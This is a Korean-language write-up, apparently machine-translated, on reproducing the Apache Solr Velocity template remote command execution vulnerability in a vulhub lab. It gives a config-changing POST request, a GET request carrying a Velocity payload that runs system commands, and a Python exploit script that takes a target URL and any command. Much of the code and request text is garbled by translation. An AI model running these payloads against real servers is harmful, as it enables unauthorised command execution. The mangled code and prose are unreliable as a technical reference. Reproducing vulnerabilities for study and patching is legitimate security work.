0x01로 개요
SOLR 소개
아파치 SOLR는 오픈 소스 엔터프라이즈 검색 서버입니다. SOLR는 자바 언어 발달, 주로 HTTP 및 아파치 루씬의 구현에 기반을 사용합니다. 자원 아파치 SOLR는 문서 객체 저장소로 저장됩니다. 그것은 운영 유사한 웹 서비스 API 인터페이스를 제공합니다. 또한 HTTP GET 조작에 의한 요청을 찾기 위해 할 수 있고, XML 형식으로 결과를 다시 얻을, 사용자가 HTTP 요청, 인덱스를 생성하는 특정 검색 엔진 서버에 XML 파일 형식을 제출할 수 있습니다.
취약점 개요
아파치 SOLR 원격 명령 실행 취약점이 속도 템플릿을 기반으로 존재한다. 이 취약점은 사출 속도 템플릿으로 인해 발생한다. 아파치 SOLR는, VelocityResponseWriter 기본 위젯을 통합 매개 변수 템플릿 SOLR 요청에 지정된 자원 로더 매개 변수를 허용할지 여부를 제어하는 데 사용됩니다 초기화 플러그인 매개 변수이 옵션을 params.resource.loader.enabled, 기본값은 false입니다. 공격자가 직접 액세스 SOLR 콘솔, 비슷한 보낼 수 있습니다 때 : true로 SOLR / 노드 이름 / 구성 파일 노드를 변경할 POST 요청을 config (설정)의 params.resource.loader.enabled 세트를 (지정된 리소스를로드 ), 당신은 서버에서 명령을 실행할 수 있습니다, GET 요청을 구성.
영향의 구체
아파치 SOLR <= 8.2.0
0x02로 재현 과정
빌드 환경
(취약성 vulhub가 해당 환경을 업데이트하지 인한 환경까지 vulhub 사용하므로 CVE-2019-0193)
시작 환경
CD / vulhub / SOLR / CVE- 2019 년 - 0,193
고정 표시기-구성까지 -d
코어 만들기
고정 표시기-작성 간부 SOLR bash는 빈 / SOLR create_core -c test_0nth3way -d 예 / 예 - 다이 하이드로 / SOLR / DB
빌드 성공
방문 http : // IP : 8983
취약점 재생
수동 검증
(1) 수정 코어 구성 설정 "params.resource.loader.enabled"사실이다
POST / SOLR / test_0nth3way / 설정 HTTP / 1.1 호스트 : 192.168 . 17.136 : 8983 콘텐츠 - 유형 : 응용 프로그램 / JSON 콘텐츠 - 길이 : 259 { " 갱신 queryresponsewriter " : { " 시작 " : " 게으른 " , " 이름 " : " 속도 " , " 클래스 " : " solr.VelocityResponseWriter " , "template.base.dir는 " : " " , " solr.resource.loader.enabled " : " 사실 " , " params.resource.loader.enabled " : " 진정한 " } }
(2) 원격 코드 실행
GET / SOLR / test_0nth3way / 선택 ? Q = 1 && 중량 = 속도 및 v.template = 사용자 정의 및 v.template.custom = % 23 세트 ($ X = % 27 % 27 ) + % 23 세트 ($ RT = $ X. 클래스 .forName ( % 27java.lang.Runtime % 27 )) + 23 % 집합 (CHR $ X = $. 클래스 .forName (% 27java.lang.Character % 27 )) + 23 % 집합 ($ STR = $ X. 클래스 .forName ( % 27java.lang.String % 27 )) + 23 % 집합 (예 $ = $ rt.getRuntime (). 간부 (27 % ID % 27 )) + $ ex.waitFor () + 23 % 집합 ($ 밖으로= $ ex.getInputStream ()) + 23 % 의 foreach ($ + I 에서 [+ 1 ... $ 아웃 ) $ str.valueOf .available () ($ chr.toChars ($ 아웃 .read ())) % 23end HTTP / 1.1 호스트 : 192.168 . 17.136 : 8983
파이썬 스크립트 검증
부록 EXP :
수입 요청을 가져올 JSON 수입 SYS #의 파이썬 Apache_Solr_via_Velocity_template_RCE.py http://192.168.17.136:8983 WHOAMI : 사용 # 속도 템플릿을 통해 아파치 SOLR RCE를 # http://192.168.1.26:8983/solr/0nth3way/config : Upconfig # ExecCmd : 0 SOLR 데프 getname (URL) : URL + = " / SOLR / 관리 / 코어 중량 = JSON indexInfo & = 거짓? " CONN = requests.request ( " GET " , URL = URL) 이름 = " 테스트 " 시도 : 이름 = 목록 (json.loads (conn.text) " 상태 " ]) [0] 을 제외 : 패스 복귀 이름 DEF upconfig (URL 이름) URL + = " / SOLR / " + 이름 + " / 설정 " 인쇄 " Upconfig : " , URL 헤더 = { " Content-Type을 " : " 응용 프로그램 / JSON " } post_data = " "" { "갱신 queryresponsewriter": { "시작": "게으른" "이름": "속도", "클래스": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true"로, "params.resource.loader.enabled": ""사실 } } "" " CONN = requests.request ( " POST " , URL 데이터 = post_data 헤더 = 헤더) 경우 conn.status_code = 200! : 인쇄 " Upconfig 오류 : " , conn.status_code의 sys.exit ( 1 ) DEF POC를 ( URL) cmd를 : core_name = getname (URL) upconfig (URL, core_name) URL+ = " / SOLR / " + core_name + " /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class. forName을 (% 27java.lang.Runtime 27 %)) + % 23set ($ = CHR $ x.class.forName (% 27java.lang.Character 27 %)) + % 23set ($ STR = $ x.class.forName ( % 27java.lang.String 27 %)) + % 23set ($ 전 = $ rt.getRuntime (). 간부 (27 % " + cmd를 + " % 27)) + $ ex.waitFor () + % 23set ($ 밖으로 = $ ex.getInputStream ()) + 23foreach % (+ $에서 I + [1 .. $ out.available ()]) $ str.valueOf ($ chr.toChars ($ out.read ())) %의 23end " CONN = requests.request ( " GET " , URL) 인쇄 " ExecCmd : " + CONN.텍스트 경우 __name__ == ' __main__ ' : 인쇄 " 아파치 SOLR RCE 속도 템플릿을 통해 " URL = sys.argv에 [1 ] 을 cmd = sys.argv에 [2 ] POC (URL (CMD))
0x03으로는 수정 제안
(1) 액세스 SOLR에 대한 제한을 권장
(2) 업그레이드 SOLR